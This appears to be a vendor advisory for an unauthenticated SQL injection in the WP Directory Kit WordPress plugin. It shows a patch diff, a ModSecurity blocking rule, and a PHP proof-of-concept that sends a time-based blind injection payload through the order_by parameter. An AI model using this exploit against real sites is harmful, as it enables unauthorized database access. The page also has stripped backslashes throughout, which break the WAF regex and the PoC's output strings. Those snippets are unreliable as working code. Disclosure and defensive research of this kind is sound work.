                             <?php ElementorIcons_Manager::render_icon( $settings['item_icon_i'], [ 'aria-hidden' => 'true' ] );?>
--- a/wpdirectorykit/elementor-elements/views/wdk-locations-tree.php
+++ b/wpdirectorykit/elementor-elements/views/wdk-locations-tree.php
@@ -63,18 +63,18 @@
                                         <?php if(wmvc_show_data('show_icon', $settings) == 'yes'):?>
                                             <?php if(wmvc_show_data('layout_image_type', $settings) == 'icon'):?>
                                                 <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_location='.wmvc_show_data('idlocation', $value)));?>#results">
-                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo wmvc_show_data('location_title', $value);?>" class="wdk-icon">
+                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'icon_id', 'icon_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('location_title', $value));?>" class="wdk-icon">
                                                 </a>
                                             <?php elseif(wmvc_show_data('layout_image_type', $settings) == 'image'):?>
                                                 <a class="wdk-d-block" href="<?php echo esc_url(wdk_url_suffix($results_page,'search_location='.wmvc_show_data('idlocation', $value)));?>#results">
-                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo wmvc_show_data('location_title', $value);?>" class="wdk-image">
+                                                    <img src="<?php echo esc_url(wdk_image_src($value, 'full',NULL,'image_id','image_path'));?>" alt="<?php echo esc_attr(wmvc_show_data('location_title', $value));?>" class="wdk-image">
                                                 </a>
                                             <?php elseif(wmvc_show_data('layout_image_type', $settings) == 'font_icon'):?>
                                                 <span class="wdk-font-icon" style="background-color: <?php echo esc_attr(wmvc_show_data('location_color', $value));?>;"><i class="<?php echo esc_attr(wmvc_show_data('font_icon_code', $value));?>"></i></span>
                                             <?php endif;?>
                                         <?php endif;?>
                                         <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_location='.wmvc_show_data('idlocation', $value)));?>#results" class="title-in">
-                                            <?php echo wmvc_show_data('location_title', $value);?>
+                                            <?php echo esc_html(wmvc_show_data('location_title', $value));?>
                                         </a>
                                     </h3>
                                     <ul class="wdk-locations">
@@ -83,7 +83,7 @@
                                 <li class="wdk-item">
                                     <a href="<?php echo esc_url(wdk_url_suffix($results_page,'search_location='.wmvc_show_data('idlocation', $value)));?>#results"  class="wdk-link">
                                         <?php ElementorIcons_Manager::render_icon( $settings['item_icon_i'], [ 'aria-hidden' => 'true' ] );?>
-                                        <span class="wdk-title"><?php echo wmvc_show_data('location_title', $value);?></span>
+                                        <span class="wdk-title"><?php echo esc_html(wmvc_show_data('location_title', $value));?></span>
                                         <span class="wdk-count"><?php echo wmvc_show_data('listings_counter', $value, 0);?></span>
                                     </a>
                                 </li>
--- a/wpdirectorykit/filters.php
+++ b/wpdirectorykit/filters.php
@@ -433,7 +433,7 @@
     if(!empty($_GET['field_search'])) {
         global $Winter_MVC_WDK;
         $Winter_MVC_WDK->model('location_m');
-        $location = $Winter_MVC_WDK->location_m->get_by(array('location_title'=>wdk_esc_sql(sanitize_text_field(wp_unslash($_GET['field_search'])))), TRUE);
+        $location = $Winter_MVC_WDK->location_m->get_by(array('location_title'=>wdk_esc_sql(sanitize_text_field($_GET['field_search']))), TRUE);
         if($location) {
             $url = $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];

--- a/wpdirectorykit/shortcodes/shortcode-wdk-listing-field-value-prefix.php
+++ b/wpdirectorykit/shortcodes/shortcode-wdk-listing-field-value-prefix.php
@@ -45,6 +45,15 @@
     $data['field_value'] = '';
     $data['field_prefix'] = '';
     $data['field_suffix'] = '';
+
+    /* protect check */
+    if(in_array($data['settings']['field_id'], ['post_password', 'status'])  ) {
+        return false;
+    }
+    if(wdk_field_option($data['settings']['field_id'], 'is_visible_frontend') != 1) {
+        return false;
+    }
+
     if(!empty($data['settings']['field_id'])){
         if(strpos($data['settings']['field_id'],'__') !== FALSE){
             $data['settings']['field_id'] = substr($data['settings']['field_id'], strpos($data['settings']['field_id'],'__')+2);
--- a/wpdirectorykit/shortcodes/shortcode-wdk-listing-field-value-suffix.php
+++ b/wpdirectorykit/shortcodes/shortcode-wdk-listing-field-value-suffix.php
@@ -45,6 +45,15 @@
     $data['field_value'] = '';
     $data['field_suffix'] = '';
     $data['field_suffix'] = '';
+
+    /* protect check */
+    if(in_array($data['settings']['field_id'], ['post_password', 'status'])  ) {
+        return false;
+    }
+    if(wdk_field_option($data['settings']['field_id'], 'is_visible_frontend') != 1) {
+        return false;
+    }
+
     if(!empty($data['settings']['field_id'])){
         if(strpos($data['settings']['field_id'],'__') !== FALSE){
             $data['settings']['field_id'] = substr($data['settings']['field_id'], strpos($data['settings']['field_id'],'__')+2);
--- a/wpdirectorykit/shortcodes/shortcode-wdk-listing-field-value-text.php
+++ b/wpdirectorykit/shortcodes/shortcode-wdk-listing-field-value-text.php
@@ -46,6 +46,15 @@
     $data['field_value'] = '';
     $data['field_prefix'] = '';
     $data['field_suffix'] = '';
+
+    /* protect check */
+    if(in_array($data['settings']['field_id'], ['post_password', 'status'])  ) {
+        return false;
+    }
+    if(wdk_field_option($data['settings']['field_id'], 'is_visible_frontend') != 1) {
+        return false;
+    }
+
     if(!empty($data['settings']['field_id'])){
         if(strpos($data['settings']['field_id'],'__') !== FALSE){
             $data['settings']['field_id'] = substr($data['settings']['field_id'], strpos($data['settings']['field_id'],'__')+2);
--- a/wpdirectorykit/wpdirectorykit.php
+++ b/wpdirectorykit/wpdirectorykit.php
@@ -16,7 +16,7 @@
  * Plugin Name:       WP Directory Kit
  * Plugin URI:        https://wpdirectorykit.com/plugins/wpdirectorykit.html
  * Description:       Build your Directory portal, demos for Real Estate Agencies and Car Dealership included
- * Version:           1.5.5
+ * Version:           1.5.6
  * Requires PHP:      7.0
  * Author:            wpdirectorykit.com
  * Author URI:        https://wpdirectorykit.com
@@ -42,7 +42,7 @@
  * Start at version 1.0.0 and use SemVer - https://semver.org
  * Rename this for your plugin and update it as you release new versions.
  */
-define('WPDIRECTORYKIT_VERSION', '1.5.5');
+define('WPDIRECTORYKIT_VERSION', '1.5.6');
 define('WPDIRECTORYKIT_NAME', 'wdk');
 define('WPDIRECTORYKIT_PATH', plugin_dir_path(__FILE__));
 define('WPDIRECTORYKIT_URL', plugin_dir_url(__FILE__));

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-18474
# Blocks SQL injection attempts via the order_by parameter in Directory Kit <= 1.5.5.
# The rule targets requests where the order_by parameter (GET or POST) contains
# suspicious SQL keywords or functions not allowed in legitimate ORDER BY clauses.
# It uses a chained rule to match specific SQL injection patterns.

SecRule ARGS:order_by "@rx (b(select|insert|update|delete|union|sleep|benchmark|if|substr|ord|schema|@@version|extractvalue|updatexml|load_file|outfile|dumpfile)b|--|#|/*)" 
    "id:202618474,phase:2,deny,status:403,chain,msg:'CVE-2026-18474 via order_by SQL injection',severity:'CRITICAL',tag:'CVE-2026-18474'"
    SecRule ARGS:order_by "@rx (,s*(|)s*(--|#|/*)|b(and|or)bs+d+s*=s*d+|bifs*(|bsubstrs*(|bords*(|bschemas*()|@@version)" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18474 - Directory Kit <= 1.5.5 - Unauthenticated SQL Injection

// This PoC demonstrates time-based blind SQL injection via the order_by parameter
// affecting the wdk_esc_sql() function in Directory Kit <= 1.5.5.
// The script targets a vulnerable endpoint that processes order_by from GET/POST.
// Adjust $target_url to the WordPress site root.

$target_url = 'http://example.com'; // Change to target WordPress URL

// Payload: time-based blind SQL injection using SLEEP() inside a subquery.
// The wdk_esc_sql() blocklist fails to remove parentheses, commas, comparison operators, and comments.
$payload = ',(SELECT IF(SUBSTR(@@version,1,1)='8',SLEEP(5),0)))-- -';

// The vulnerable parameter may be 'order_by' in various contexts.
// Common vectors: ?order_by=... on pages with Directory Kit Elementor widgets,
// or via the message ordering in the Basic helper ($_GET_clone['order_by']).
// This PoC assumes the order_by parameter is accepted via GET on a public page.
$endpoint = $target_url . '/?order_by=' . urlencode($payload);

echo "[*] Sending request to: $endpointn";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$start = microtime(true);
$response = curl_exec($ch);
$elapsed = microtime(true) - $start;
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    echo "[-] Request failed: " . curl_error($ch) . "n";
    exit(1);
}

echo "[*] HTTP status: $http_coden";
echo "[*] Response time: " . round($elapsed, 2) . " secondsn";

// Check if the response time indicates successful injection (SLEEP executed)
if ($elapsed >= 5) {
    echo "[+] Vulnerability confirmed: Time-based SQL injection successful!n";
    echo "[+] The database is likely MySQL 8.x (first character of version is 8).n";
} else {
    echo "[-] No significant delay observed. The target may be patched or the vector incorrect.n";
}

// Note: This PoC is for educational purposes only. Use only on systems you own or have permission to test.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.